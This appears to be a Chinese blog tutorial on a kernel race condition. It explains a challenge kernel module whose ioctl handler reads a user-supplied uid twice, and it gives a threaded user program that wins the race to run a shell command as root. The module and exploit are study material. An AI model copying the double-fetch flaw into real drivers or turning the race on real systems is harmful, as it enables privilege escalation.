linux内核入门系列-条件竞争

  • Comments Off on linux内核入门系列-条件竞争
  • 22 views
  • A+

说明

参考 https://xz.aliyun.com/t/9808

包含一个内核模块,和用户程序。由用户程序使用对应的内核模块实现从普通用户到root用户的权限升级。

代码见 https://github.com/JordyZomer/kernel_challenges/tree/main/episode1

diver目录为内核部分,client为用户程序。

流程如下:

image-20210805125119387

内核模块

当一个设备在 Linux 中被注册,它会获取一些参数,最重要的是 fops (文件操作)。在字符设备中的 fops 看起来大概像这样:

static struct file_operations query_fops = {
.owner = THIS_MODULE,
.open = shell_open,
.release = shell_close,
.unlocked_ioctl = shell_ioctl
};

open 是你打开设备时被调用的函数,release 是在你关闭设备时被调用的函数,unlocked_ioctl 是在你向设备发起一个 IOCTL (输入/输出控制) 请求时被调用的函数。

在用户端使用open函数会运行对应内核的shell_open,close对应release,ioctl函数对应unlocked_ioctl。

```
static long shell_ioctl(struct file f, unsigned int cmd, unsigned long arg)
{
struct miscdevice
misc = f->private_data;
struct device *dev = misc->this_device;
struct user_data udat;
kuid_t kernel_uid = current_uid();

memset(udat.cmd, 0, sizeof(udat.cmd));

if (raw_copy_from_user(&udat.uid, (void *)arg, sizeof(udat.uid)))//从用户态拷贝uid
    return -EFAULT;

dev_info(dev, "CHECKING VALIDITY OF UID: %dn", udat.uid);
if (udat.uid == kernel_uid.val) {//比较当前uid和用户uid
    int rc;
    struct subprocess_info *sub_info;
    char **argv;
    static char *envp[] = {
        "HOME=/",
        "TERM=linux",
        "PATH=/sbin:/usr/sbin:/bin:/usr/bin",
        NULL
    };

    dev_info(dev, "UID: %d EQUALS %dn", udat.uid, kernel_uid.val);

    usleep_range(1000000, 1000001);//休眠

    argv = kmalloc(sizeof(char *[4]), GFP_KERNEL);//申请空间用来存放地址

    if (!argv)
        return -ENOMEM;

    memset(&udat, 0, sizeof(udat));

    if (raw_copy_from_user(&udat, (void *)arg, sizeof(udat)))//第二次
        return -EFAULT;

    real_uid = udat.uid;

    argv[0] = "/bin/sh";
    argv[1] = "-c";
    argv[2] = udat.cmd;
    argv[3] = NULL;


    dev_info(dev, "CMD = %sn", argv[2]);

    sub_info = call_usermodehelper_setup(argv[0], argv, envp, GFP_KERNEL, init_func, free_argv, NULL);//设置命令执行的权限(设置为用户线程新修改的0,权限比较高)

    if (sub_info == NULL) {
        kfree(argv);
        return -ENOMEM;
    }

    rc = call_usermodehelper_exec(sub_info, UMH_WAIT_PROC);

    dev_info(dev, "RC = %dn", rc);
    return rc;
}

return 0;

}
```

  • current_uid函数获取到的uid为使用本模块的用户的uid。

用户

```
void change_uid_root(void s)
{
user_data
s1 = s;

while (finish == 0)
    s1->uid = 0;

}

int main(void)
{
pthread_t thread_one;
user_data udat;

int fd = open(IOCTL_DRIVER_NAME, O_RDWR);

if (fd == -1)
    exit(EXIT_FAILURE);

memset(udat.cmd, 0, 100);

udat.uid = 1000;

strcpy(udat.cmd, "echo 'foo' > /tmp/hacker");

pthread_create(&thread_one, NULL, change_uid_root, &udat);//线程持续设置uid为0

for (int i = 0; i < 100; i++) {//运行100次内核模块
    ioctl(fd, 0, &udat);
    udat.uid = 1000;//普通用户的uid是1000,root用户的uid是0
}

finish = 1;
pthread_join(thread_one, NULL);

printf("finishedn");

close(fd);

return EXIT_SUCCESS;

}
```

程序运行流程如上图。

  • root用户的uid为0
  • 第一个非root用户的uid为1000
  • 可以在/etc/passwd文件查看uid

相关推荐: Code Security Guide-Thinkphp3.2.3数据库内核漏洞(二)

0x01、ThinkPHP环境 ThinkPHP版本:Thinkphp3.2.3 full.zip phpstudy PHP 5.6 xdebug phpstorme 0x0a、ThinkPHP 3.2.3 updatexml注入(bind注入) 漏洞利用:在…